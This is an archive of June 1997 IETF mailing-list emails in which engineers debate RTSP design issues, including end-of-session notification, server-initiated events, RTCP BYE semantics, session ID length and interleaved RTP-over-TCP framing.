From majordom@ISI.EDU  Tue Jun  3 06:25:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA11239>; Tue, 3 Jun 1997 13:25:27 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA11233>; Tue, 3 Jun 1997 13:25:25 -0700
Received: from mail1.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA21178>; Tue, 3 Jun 1997 13:25:23 -0700
Received: by INET-01-IMC with Internet Mail Service (5.0.1458.30)
	id <MBPK1NCM>; Tue, 3 Jun 1997 13:25:23 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18036DA9D8@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'David Oran' <oran@cisco.com>, 'Bruce Butterfield' <bab@prognet.com>
Cc: confctrl@ISI.EDU
Subject: RE: RTSP End of Session message
Date: Tue, 3 Jun 1997 13:25:20 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

David Oran wrote:

>Well, I tend to leave the movie theater when the screen goes blank
>(sometimes before, even :-) ). Where's the server supposed to get this
>magic signal from in the first place? 

The server knows when the "end of data stream" has taken place when the
live data source whose data it is streaming "goes away". In many
situations this will be when the network connection to the server from
the source is dropped.

Given the current RTSP spec definitions (where the server can take no
initiative nor does it have the ability to alert the client of the
existence of this or any other "event"), the server is to remain in the
"playing" state until such a time as the client recognizes what's
happening and then initiates corrective action. 

If so, let's just hope that there is a human controlling the client and
not some automation process because, without an ability to send
events/alerts, establish timeouts, or have some intelligence in the
server, the automation process will have to be mightly intelligent to
respond appropriately.

From majordom@ISI.EDU  Tue Jun  3 06:56:18 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA13386>; Tue, 3 Jun 1997 13:56:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA13379>; Tue, 3 Jun 1997 13:56:33 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA24083>; Tue, 3 Jun 1997 13:56:32 -0700
Received: from bab.prognet.com (two145.dev.prognet.com) by murrow.prognet.com with SMTP id AA24229
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Tue, 3 Jun 1997 14:00:02 -0700
Date: Tue, 3 Jun 1997 13:56:18 -0700 (PDT)
From: Bruce Butterfield <bab@prognet.com>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: 'David Oran' <oran@cisco.com>, confctrl@ISI.EDU
Subject: RE: RTSP End of Session message
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18036DA9D8@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.LNX.3.95.970603135413.7595A-100000@bab.prognet.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Remember the SET_PARAMETER message. It doesn't affect state and can be
issued by either side. "Events" could certainly be implemented this way.

Bruce Butterfield <bab@prognet.com>  	Phone: (206) 674-2467
Progressive Networks			Fax:   (206) 674-3580
Software Development Engineer - Platform Group

On Tue, 3 Jun 1997, Eric Fleischman wrote:

> David Oran wrote:
> 
> >Well, I tend to leave the movie theater when the screen goes blank
> >(sometimes before, even :-) ). Where's the server supposed to get this
> >magic signal from in the first place? 
> 
> The server knows when the "end of data stream" has taken place when the
> live data source whose data it is streaming "goes away". In many
> situations this will be when the network connection to the server from
> the source is dropped.
> 
> Given the current RTSP spec definitions (where the server can take no
> initiative nor does it have the ability to alert the client of the
> existence of this or any other "event"), the server is to remain in the
> "playing" state until such a time as the client recognizes what's
> happening and then initiates corrective action. 
> 
> If so, let's just hope that there is a human controlling the client and
> not some automation process because, without an ability to send
> events/alerts, establish timeouts, or have some intelligence in the
> server, the automation process will have to be mightly intelligent to
> respond appropriately.
> 


From majordom@ISI.EDU  Tue Jun  3 16:46:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA25311>; Tue, 3 Jun 1997 17:46:13 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA25305>; Tue, 3 Jun 1997 17:46:11 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA14726>; Tue, 3 Jun 1997 17:46:07 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA07364 for <confctrl@isi.edu>; Tue, 3 Jun 1997 20:46:04 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id UAA10303 for <confctrl@isi.edu>; Tue, 3 Jun 1997 20:46:03 -0400 (EDT)
Message-Id: <3394BAC9.7D30@cs.columbia.edu>
Date: Tue, 03 Jun 1997 20:46:01 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: Re: RTSP End of Session message
References: <3.0.1.32.19970603154824.008d7c60@pointer.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Server-to-client commands should be used sparingly since they won't work
in all circumstances. We have three transport mechanism to deal with:

(1) UDP
(2) TCP per command (or several), terminated by either client or server
after each command
(3) client (and server) keep TCP connection for whole RTSP session

With firewalls, only with (3) is the server likely to have a chance to
get back to the client. With (2), it's tricky even without firewalls
(which port does the server connect to on the client?).

Given this caveat, for case (3), a server-issued TEARDOWN seems simple
enough for live events. In many live events, however, RTSP will really
only be involved during the SETUP (to get a multicast address for a
URL-described event) and then drop the connection (case (2)). 

Given cases (1) and (2), data-stream level end-of-show notification (RTP
BYE) is necessary in any event. 

A paranoid client could, if it wants to, poll the server with PLAY or
GET_PARAMETER if it is not getting the data it is expecting. ("Hello,
hellooo, anybody home?") Not a good idea, in general, due to server
load.

From majordom@ISI.EDU  Wed Jun  4 10:59:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05119>; Tue, 3 Jun 1997 23:59:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05113>; Tue, 3 Jun 1997 23:59:53 -0700
Received: from pi4.informatik.uni-mannheim.de by venera.isi.edu (5.65c/5.61+local-29)
	id <AA24536>; Tue, 3 Jun 1997 23:59:52 -0700
Received: from sophokles.informatik.uni-mannheim.de (sophokles [134.155.48.104])
	by pi4.informatik.uni-mannheim.de (8.8.5/8.8.5) with ESMTP id IAA05861;
	Wed, 4 Jun 1997 08:59:40 +0200
Received: from localhost (whd@localhost)
	by sophokles.informatik.uni-mannheim.de (8.8.5/8.8.5) with SMTP id IAA09835;
	Wed, 4 Jun 1997 08:59:39 +0200 (MET DST)
X-Authentication-Warning: sophokles.informatik.uni-mannheim.de: whd owned process doing -bs
Date: Wed, 4 Jun 1997 08:59:39 +0200 (MET DST)
From: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
X-Sender: whd@sophokles
To: confctrl@ISI.EDU
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: RTSP End of Session message
In-Reply-To: <3394BAC9.7D30@cs.columbia.edu>
Message-Id: <Pine.GSO.3.95.970604081800.9813B-100000@sophokles>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


On Tue, 3 Jun 1997, Henning Schulzrinne wrote:
> Given cases (1) and (2), data-stream level end-of-show notification (RTP
> BYE) is necessary in any event. 

but how about a server that resends a session with multiple streams 
(say a rebroadcast of a meeting with multiple partcipants that joined
and left during the initial sesssion). The server needs to assign a
unique ssrc for each of these participants and an RTCP BYE message
only indicated that one of these participants left the session. The
client, however, does not know weather there is more from other recorded 
participants to come (maybe even after a period of silence). Only the
server knows.

My suggestion to workarround this is to have the server issue RTCP
messages with a master ssrc exclusively for status messages e.g in 
RTCP_SDES_NAME items. A client would never see any data from this ssrc 
but this "virtual session participant" would be alive for the entire
lifetime of a session. This ssrc would also be responsible to issue
receiver reports on behalf of all other recorded participants that 
come from this server/session. Other RTCP messages, however, should
still be generated for each recorded participant individually (i.e.
all SDES items and sender reports). Note that the server in this case 
is neither a mixer nor a translator in RTP notation, it simply issues
multiple streams. Therefore, it would probably be an overkill if the
server would let each recorded participant issue its own receiver
reports. In fact, they would all look alike anyway. Back to the 
end-of-session topic, once the master ssrc issues a BYE messages, the
session can considered to be over. Well, an open issue, however, is, 
how does the client know which ssrc actually is the master ssrc?
Maybe the rtsp session id could be included in one of the SDES
items for the master ssrc? All this, of course, is very much bound 
to RTP... but why not specify a draft defining some rules for sending 
RTP data streams controled by RTSP? 

Given the three scenarios Henning pointed out, an implicit "rtsp end- 
of-session-event" from a a server back to a client is indeed hard to
implement for all three cases, nevertheless I would also prefer such a
message whenever possible. The proper state of a server is in my opinion
more important than the state of a client. A "hanging" server could cause
confusion if it would depend on a teardown of a client and therefore a
server should be able to change from PLAYING to READY on its own and at
least try to send an "end-of-session-event" through rtsp if possible.

-- Wieland


From majordom@ISI.EDU  Wed Jun  4 01:30:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18321>; Wed, 4 Jun 1997 08:30:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18312>; Wed, 4 Jun 1997 08:30:23 -0700
Received: from mail2.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA05526>; Wed, 4 Jun 1997 08:30:22 -0700
Received: by INET-02-IMC with Internet Mail Service (5.0.1458.30)
	id <MGCMHA3W>; Wed, 4 Jun 1997 08:30:20 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18039BD6C1@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>, confctrl@isi.edu
Subject: RE: RTSP End of Session message
Date: Wed, 4 Jun 1997 08:30:16 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

RTSP, as currently defined, is a client-oriented protocol. I'm not
arguing against that orientation. I am merely saying that the current
definition has some pretty significant problems which could be
alleviated by a number of mechanisms. The mechanism I personally prefer
is to give the Server an ability to notify the client about "Events".
Such a use would be consistent with your "used sparingly" advice.

Concerning other points mentioned within this thread: If the data
channel is unreliable then you're probably not going to get a 'FIN' or
'last packet marker' any better than you'd get it on an unreliable
control channel.  

Another important point concerns what happens when you have multiple
unreliable data streams managed by one RTSP session.  Data could
arbitrarily stop coming from any of the streams for any number of
reasons (which need not have anything to do with network problems) and
since the client could not be guaranteed to have reliably received the
'last packet marker' on those streams, we have an opportunity for
confusion. Did the stream temporarily stop (e.g. there is currently no
audio data because no one is talking)?? Is there a problem with the
connection?? Should the user just "time out" and assume the stream has
completed erroneously??  Easily panicked individuals may react in many
undesirable ways to such a scenario -- how much better to be able to
provide an alert from server to client to "clue them in". Even so, the
case which scares me much more is to continually waste server resources
because an automated client which was writing the session to a disk did
not have the intelligence to issue a TEARDOWN when the session actually
ended.

Regardless, this discussion points out the need to have reliable control
protocol that can inform the client when the session is completed. While
RTSP can indeed be carried unreliably as per the spec, it seems most
unwise to forego the advantages of building in reliable functionality
for the large number of implementations which can use reliable
transports for RTSP controls.


> -----Original Message-----
> From:	Henning Schulzrinne [SMTP:schulzrinne@cs.columbia.edu]
> Sent:	Tuesday, June 03, 1997 5:46 PM
> To:	confctrl@isi.edu
> Subject:	Re: RTSP End of Session message
> 
> Server-to-client commands should be used sparingly since they won't
> work
> in all circumstances. We have three transport mechanism to deal with:
> 
> (1) UDP
> (2) TCP per command (or several), terminated by either client or
> server
> after each command
> (3) client (and server) keep TCP connection for whole RTSP session
> 
> With firewalls, only with (3) is the server likely to have a chance to
> get back to the client. With (2), it's tricky even without firewalls
> (which port does the server connect to on the client?).
> 
> Given this caveat, for case (3), a server-issued TEARDOWN seems simple
> enough for live events. In many live events, however, RTSP will really
> only be involved during the SETUP (to get a multicast address for a
> URL-described event) and then drop the connection (case (2)). 
> 
> Given cases (1) and (2), data-stream level end-of-show notification
> (RTP
> BYE) is necessary in any event. 
> 
> A paranoid client could, if it wants to, poll the server with PLAY or
> GET_PARAMETER if it is not getting the data it is expecting. ("Hello,
> hellooo, anybody home?") Not a good idea, in general, due to server
> load.

From majordom@ISI.EDU  Thu Jun  5 01:01:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06744>; Wed, 4 Jun 1997 14:02:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06738>; Wed, 4 Jun 1997 14:01:57 -0700
Received: from pi4.informatik.uni-mannheim.de by venera.isi.edu (5.65c/5.61+local-29)
	id <AA19417>; Wed, 4 Jun 1997 14:01:54 -0700
Received: from sophokles.informatik.uni-mannheim.de (sophokles [134.155.48.104])
	by pi4.informatik.uni-mannheim.de (8.8.5/8.8.5) with ESMTP id XAA08736;
	Wed, 4 Jun 1997 23:01:52 +0200
Received: from localhost (whd@localhost)
	by sophokles.informatik.uni-mannheim.de (8.8.5/8.8.5) with SMTP id XAA10079;
	Wed, 4 Jun 1997 23:01:50 +0200 (MET DST)
X-Authentication-Warning: sophokles.informatik.uni-mannheim.de: whd owned process doing -bs
Date: Wed, 4 Jun 1997 23:01:50 +0200 (MET DST)
From: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
X-Sender: whd@sophokles
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: RE: RTSP End of Session message
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18039BD6C1@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.GSO.3.95.970604224311.10067A-100000@sophokles>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric,

I agree, if we had the choice between a reliable control protocol with the
possibility of server-client-events and an unreliable protocol that might
or might not have this possibility I would definitely vote for the
reliable solution. Your points are very correct but I'm asking myself
weather this is not an issue that would have a rather strong influence on
the current specification and would lead to quite a different application
scenario. 

We actually implemented such a protocol to control an RTP DataPump 
that can record and playback RTP data streams. I thought about using 
RTSP as control protocol but soon realised that it won't give me the
functionality I wanted. We even have two connections for our control
protocol, one for stream control commands and return messages and one
for events from the server back to the client. We use two connection
because the events can happen totally asynchronous and therefore only 
one connection would make the event handling much more complicated.

Again, I'd prefer a reliable solution with server-client-events but
I'm not sure if this wouldn't drift to far away from the original
target scenario of RTSP.

-- wieland


From majordom@ISI.EDU  Wed Jun  4 15:49:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15220>; Wed, 4 Jun 1997 16:49:27 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15213>; Wed, 4 Jun 1997 16:49:25 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA25599>; Wed, 4 Jun 1997 16:49:24 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA09086; Wed, 4 Jun 1997 19:49:15 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id TAA28762; Wed, 4 Jun 1997 19:49:14 -0400 (EDT)
Message-Id: <3395FEFA.41D6@cs.columbia.edu>
Date: Wed, 04 Jun 1997 19:49:14 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP End of Session message
References: <Pine.GSO.3.95.970604081800.9813B-100000@sophokles>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Wieland Holfelder wrote:
> 
> On Tue, 3 Jun 1997, Henning Schulzrinne wrote:
> > Given cases (1) and (2), data-stream level end-of-show notification (RTP
> > BYE) is necessary in any event.
> 
> but how about a server that resends a session with multiple streams
> (say a rebroadcast of a meeting with multiple partcipants that joined
> and left during the initial sesssion). The server needs to assign a
> unique ssrc for each of these participants and an RTCP BYE message
> only indicated that one of these participants left the session. The
> client, however, does not know weather there is more from other recorded
> participants to come (maybe even after a period of silence). Only the
> server knows.
> 
> My suggestion to workarround this is to have the server issue RTCP
> messages with a master ssrc exclusively for status messages e.g in
> RTCP_SDES_NAME items. A client would never see any data from this ssrc
> but this "virtual session participant" would be alive for the entire
> lifetime of a session. This ssrc would also be responsible to issue
> receiver reports on behalf of all other recorded participants that
> come from this server/session. Other RTCP messages, however, should
> still be generated for each recorded participant individually (i.e.
> all SDES items and sender reports). Note that the server in this case
> is neither a mixer nor a translator in RTP notation, it simply issues
> multiple streams. Therefore, it would probably be an overkill if the
> server would let each recorded participant issue its own receiver
> reports. In fact, they would all look alike anyway. Back to the
> end-of-session topic, once the master ssrc issues a BYE messages, the
> session can considered to be over. Well, an open issue, however, is,
> how does the client know which ssrc actually is the master ssrc?

Wouldn't the simple rule "Shut down session when you haven't heard from
any source (virtual, real, imaginary, halluscinatory) for a while" do
the trick if you have virtual participants?

Henning

From majordom@ISI.EDU  Thu Jun  5 04:06:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15444>; Thu, 5 Jun 1997 11:07:22 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15425>; Thu, 5 Jun 1997 11:07:19 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA21738>; Thu, 5 Jun 1997 11:07:18 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
	id <LXLSS7ZC>; Thu, 5 Jun 1997 11:09:35 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18039BD6D8@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: RTSP session length bug
Date: Thu, 5 Jun 1997 11:06:15 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

(oops. I originally sent this one to AVT rather than MMUSIC. Sorry for
the mistaken double posting)

> There is a bug in RTSP in that a session identifier is defined as
> being
> one or more octets long (see below) and is encouraged to be a very
> large
> random value in the Security section (section 15). I would therefore
> interpret this as encouraging a 4 or 8 octet session id length.
> 
> However, Section 9.11 (which deals with embedded binary data) states
> that a session identier should be solely one byte long. No mention is
> made as to how to map between session ids of multiple bytes to session
> ids of one byte. However, I think that such mapping would be
> problematic: one should consistently use the same session-identifier
> value to refer to the same session.
> 
> Therefore, I suggest that Section 9.11 be ammended to state that a one
> byte length value (giving the length of the session ID) preceeds the
> session identifier in the encapsulation approach: $ session-ID-length
> session-ID binary-data-length binary-data.
> 
> --------------------------------
> Session ID length: Section 11.26 of RTSP states that the session
> identifier has the same syntax as the conference identifier. Section
> 3.3
> states that the syntax of the conference identifier is 1*OCTET. RFC
> 2068
> section 2.1 (whose syntax is used by RTSP) states that the meaning of
> the Augmented BNF description of 1*element is "one or more instances"
> of
> element. Therefore, the session identifier must be one or more octets
> long (e.g., a 4 or an 8 byte long session identifier is legal). 
> 
> 
> 

From majordom@ISI.EDU  Thu Jun  5 10:41:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17646>; Thu, 5 Jun 1997 11:46:11 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17640>; Thu, 5 Jun 1997 11:46:09 -0700
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA23773>; Thu, 5 Jun 1997 11:46:07 -0700
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Thu Jun  5 14:44:21 EDT 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Thu Jun  5 14:44:21 EDT 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id OAA17545; Thu, 5 Jun 1997 14:41:32 -0400 (EDT)
Message-Id: <3397085C.2848@cs.columbia.edu>
Date: Thu, 05 Jun 1997 14:41:32 -0400
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@microsoft.com>
Cc: rem-conf@es.net, confctrl@isi.edu
Subject: Re: RTSP session length bug
References: <503A2A3C2932CF118D8800805FD44E18039BD6D5@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

A choice needs to be made if in-band TCP data (a hopefully rare
occurrence) should be allowed only when one TCP connection represents
one RTSP session at a time. If so, the in-band data session ID is
unnecessary; if not, it needs to be of variable and unbounded length
(basically, a string) and be the same as the session identifier carried
as "Session:". Comments?

Eric Fleischman wrote:
> 
> There is a bug in RTSP in that a session identifier is defined as being
> one or more octets long (see below) and is encouraged to be a very large
> random value in the Security section (section 15). I would therefore
> interpret this as encouraging a 4 or 8 octet session id length.
> 
> However, Section 9.11 (which deals with embedded binary data) states
> that a session identier should be solely one byte long. No mention is
> made as to how to map between session ids of multiple bytes to session
> ids of one byte. However, I think that such mapping would be
> problematic: one should consistently use the same session-identifier
> value to refer to the same session.
> 
> Therefore, I suggest that Section 9.11 be ammended to state that a one
> byte length value (giving the length of the session ID) preceeds the
> session identifier in the encapsulation approach: $ session-ID-length
> session-ID binary-data-length binary-data.
> 
> --------------------------------
> Session ID length: Section 11.26 of RTSP states that the session
> identifier has the same syntax as the conference identifier. Section 3.3
> states that the syntax of the conference identifier is 1*OCTET. RFC 2068
> section 2.1 (whose syntax is used by RTSP) states that the meaning of
> the Augmented BNF description of 1*element is "one or more instances" of
> element. Therefore, the session identifier must be one or more octets
> long (e.g., a 4 or an 8 byte long session identifier is legal).

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Jun  5 10:50:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07355>; Thu, 5 Jun 1997 17:50:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07349>; Thu, 5 Jun 1997 17:50:53 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA09427>; Thu, 5 Jun 1997 17:50:51 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA15119
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 5 Jun 1997 17:50:36 -0700
Message-Id: <3.0.32.19970605175018.00ef3610@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 05 Jun 1997 17:50:30 -0700
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>,
        Eric Fleischman <ericfl@microsoft.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: RTSP session length bug
Cc: rem-conf@es.net, confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 02:41 PM 6/5/97 -0400, Henning Schulzrinne (BL) wrote:
>A choice needs to be made if in-band TCP data (a hopefully rare
>occurrence) should be allowed only when one TCP connection represents
>one RTSP session at a time. If so, the in-band data session ID is
>unnecessary; if not, it needs to be of variable and unbounded length
>(basically, a string) and be the same as the session identifier carried
>as "Session:". Comments?

Since the rtp/tcp wasn't fully speced out, I can see why there's confusion
here.  I was presuming the interaction would go something like the following:

C->S   SETUP rtsp://foo.com/bar.file RTSP/1.0 2
       Transport: rtp/tcp;mplex=0

S->C   RTSP/1.0 200 2 OK
       Date: 05 Jun 1997 18:57:18 GMT
       Transport: rtp/tcp;mplex=0
       Session: 12345

C->S   PLAY rtsp://foo.com/bar.file RTSP/1.0 3
       Session: 12345

S->C   RTSP/1.0 200 3 OK
       Session: 12345
       Date: 05 Jun 1997 18:59:15 GMT
       
S->C   $\000{2 byte length}{"length" bytes data, w/RTP header}
S->C   $\000{2 byte length}{"length" bytes data, w/RTP header}
S->C   $\000{2 byte length}{"length" bytes data, w/RTP header}
S->C   $\000{2 byte length}{"length" bytes data, w/RTP header}

C->S   SETUP rtsp://foo.com/blech.file RTSP/1.0 4
       Transport: rtp/tcp;mplex=1

S->C   RTSP/1.0 200 4 OK
       Date: 05 Jun 1997 18:57:18 GMT
       Transport: rtp/tcp;mplex=1
       Session: 67890

C->S   PLAY rtsp://foo.com/blech.file RTSP/1.0 5
       Session: 67890

S->C   RTSP/1.0 200 5 OK
       Session: 67890
       Date: 05 Jun 1997 18:59:15 GMT
       
S->C   $\001{2 byte length}{"length" bytes data, w/RTP header}
S->C   $\000{2 byte length}{"length" bytes data, w/RTP header}
S->C   $\001{2 byte length}{"length" bytes data, w/RTP header}
S->C   $\000{2 byte length}{"length" bytes data, w/RTP header}
S->C   $\001{2 byte length}{"length" bytes data, w/RTP header}
.....

This would allow 256 streams over a single TCP connection.  Not perfect,
but in the case where you have more than 256 sessions, one could argue that
a second TCP connection is no great hardship.

There are Huffman-esque tricks that I think we can do, but I would prefer
not to bother specing them (and hence adding one more complience hoop) and
instead negotiate those via PEP if folks find it necessary (hey, a great
use for PEP!)

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Fri Jun  6 23:35:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12993>; Thu, 5 Jun 1997 22:31:25 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12987>; Thu, 5 Jun 1997 22:31:23 -0700
Received: from nwork.chungbuk.ac.kr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA19117>; Thu, 5 Jun 1997 22:30:34 -0700
Received: from cbucc.chungbuk.ac.kr ([134.75.207.130]) by nwork.chungbuk.ac.kr (8.6.12H1/8.6.9) with ESMTP id OAA15607; Fri, 6 Jun 1997 14:29:26 +0900
Message-Id: <3397A19E.EC019F96@nwork.chungbuk.ac.kr>
Date: Fri, 06 Jun 1997 14:35:27 +0900
From: "Jongil, Park" <jipark@nwork.chungbuk.ac.kr>
Reply-To: jipark@nwork.chungbuk.ac.kr
Organization: Computer Engineering of CBU
X-Mailer: Mozilla 4.0b5 [en] (Win95; I)
Mime-Version: 1.0
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: Eric Fleischman <ericfl@microsoft.com>, rem-conf@es.net, confctrl@isi.edu
Subject: [Q] About vic?
X-Priority: 3 (Normal)
References: <503A2A3C2932CF118D8800805FD44E18039BD6D5@RED-68-MSG.dns.microsoft.com> <3397085C.2848@cs.columbia.edu>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi, everyone.
I'm studying about RTP and control of multimedia application control.
Has Vic jiiter tolerance in some degree?
and other prgoram?

sorry poor english...puhehe
----------------------------------------------------------
Computer Engineering, Chungbuk National University, Korea
Network Laboratory
Jong-il, Park (Webmaster)
http://nwork.chungbuk.ac.kr/~jipark
http://dce3.chungbuk.ac.kr/bbs/
http://cbubbs.chungbuk.ac.kr/ (Administrator)
----------------------------------------------------------


From majordom@ISI.EDU  Fri Jun  6 10:22:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03357>; Fri, 6 Jun 1997 11:22:46 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03351>; Fri, 6 Jun 1997 11:22:42 -0700
Received: from corona.jcmax.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA08236>; Fri, 6 Jun 1997 11:22:41 -0700
Received: from extreme.jcmax.com
	by corona.jcmax.com (5.65/2.49G/4.1.3_U1)
	id AA18161; Fri, 6 Jun 97 14:22:37 -0400
Received: from extreme.jcmax.com (localhost.jcmax.com [127.0.0.1]) by extreme.jcmax.com (8.8.5/8.7.3) with ESMTP id OAA15143 for <confctrl@isi.edu>; Fri, 6 Jun 1997 14:22:37 -0400 (EDT)
Message-Id: <199706061822.OAA15143@extreme.jcmax.com>
To: confctrl@isi.edu
Subject: SAP/SDP lifetimes
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
